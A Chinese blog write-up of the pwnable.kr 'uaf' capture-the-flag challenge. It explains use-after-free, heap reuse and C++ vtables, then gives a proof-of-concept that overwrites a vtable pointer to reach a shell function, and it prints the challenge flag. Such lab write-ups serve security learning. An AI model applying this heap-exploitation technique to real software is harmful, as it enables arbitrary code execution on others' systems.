pwnable.kr之uaf

作者: 一纸笔墨 | 来源:发表于2018-02-11 20:04 被阅读55次
    #include <fcntl.h>
    #include <iostream> 
    #include <cstring>
    #include <cstdlib>
    #include <unistd.h>
    using namespace std;
    
    class Human{
    private:
        virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
        int age;
        string name;
    public:
        virtual void introduce(){
            cout << "My name is " << name << endl;
            cout << "I am " << age << " years old" << endl;
        }
    };
    
    class Man: public Human{
    public:
        Man(string name, int age){
            this->name = name;
            this->age = age;
            }
            virtual void introduce(){
            Human::introduce();
                    cout << "I am a nice guy!" << endl;
            }
    };
    
    class Woman: public Human{
    public:
            Woman(string name, int age){
                    this->name = name;
                    this->age = age;
            }
            virtual void introduce(){
                    Human::introduce();
                    cout << "I am a cute girl!" << endl;
            }
    };
    
    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    
        size_t len;
        char* data;
        unsigned int op;
        while(1){
            cout << "1. use\n2. after\n3. free\n";
            cin >> op;
    
            switch(op){
                case 1:
                    m->introduce();
                    w->introduce();
                    break;
                case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
                    cout << "your data is allocated" << endl;
                    break;
                case 3:
                    delete m;
                    delete w;
                    break;
                default:
                    break;
            }
        }
    
        return 0;   
    }
    
    

    考点:

    1.UAF(use after free)

    分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。详细的可以自行查找资料,笔者也是刚刚接触,有些还是不太理解。

    uaf漏洞分析基础知识补充
    引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。

    UAF错误的原因:
    (1)导致程序出错和发生异常的各种条件
    (2)程序负责释放内存的指令发生混乱
    其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

    UAF漏洞的利用:
    (1)先搞出来一个迷途指针
    (2)精心构造数据填充被释放的内存区域
    (3)再次使用该指针,让填充的数据使eip发生跳转。

    2.SLUB

    对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。

    既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:

    1.用户可以控制该对象的大小
    2.用户空间可以对该对象写入数据

    如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。
    linux 内核 内存管理 slub算法 (一) 原理

    3.C++ delete

    为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
    如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
    对于delete之后的指针p,此时是"野指针"。

    4.C++ 虚函数

    C++ 虚函数表解析
    [交流]关于子类重写父类私有虚函数
    虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。

    分析:

    笔者第一次对uaf程序的分析,如果有不对或者缺陷的地方,欢迎批评指正。

    观察源代码我们可以发现在父类Human中存在一个shell,只要我们能成功跳转到这个就可以得到flag。

    观察main函数,new了两个子类,并创建了两个类的指针m、w,然后我们可以进行操作。

    由SLUB我们可以知道,在程序delete m、w的时候,m、w指针的内容是不会被delete的,只是在系统表中标注此块区域是空闲的。

    那只要我们在m或w所指向的空间写下我们构造好的代码,之后覆盖introduce函数的地址为give_shell的函数地址,这样在调用introduce的时候便能成功获得shell。

    我们将pwnable.kr服务器上的uaf文件下载到本地分析

    new的时候分配了24字节的空间

    观察上图,程序对每个类分配了24字节的空间。这意味着我们需要构造同样大小的空间,系统才有可能给我们分配到之前m、w指向的空间。

    v13+8即是introduce的地址

    由上图可知,只要我们在文件中写下give_shell的地址-8,之后在1选项调用的时候就会调用到give_shell了



    观察Man虚表,give_shell的地址为0x0000000000401570,那么我们在文件中写入的就是'\x68\x15\x40\x00\x00\x00\x00\x00',这样就可以了

    对下面的POC解释一下,首先释放掉堆,然后写入内容为give_shell-8的地址2次,依次给的是woman、man,不然在1选项中,先执行的是m->introduce,如果只给woman写的话,那么程序会直接崩溃。



    将这个图片保存,修改后缀为.exe将这个图片保存,修改后缀为.exe

    上图是windows上的,可以使用OD结合IDA一起分析,感觉更能直观的展示。


    POC:

    uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"'>/var/tmp/ccc-uaf
    uaf@ubuntu:~$ ./uaf 24 /var/tmp/ccc-uaf 
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    $ cat flag
    yay_f1ag_aft3r_pwning
    

    FLAG:

    yay_f1ag_aft3r_pwning

    相关文章

      网友评论

        本文标题:pwnable.kr之uaf

        本文链接:https://www.haomeiwen.com/subject/dqactftx.html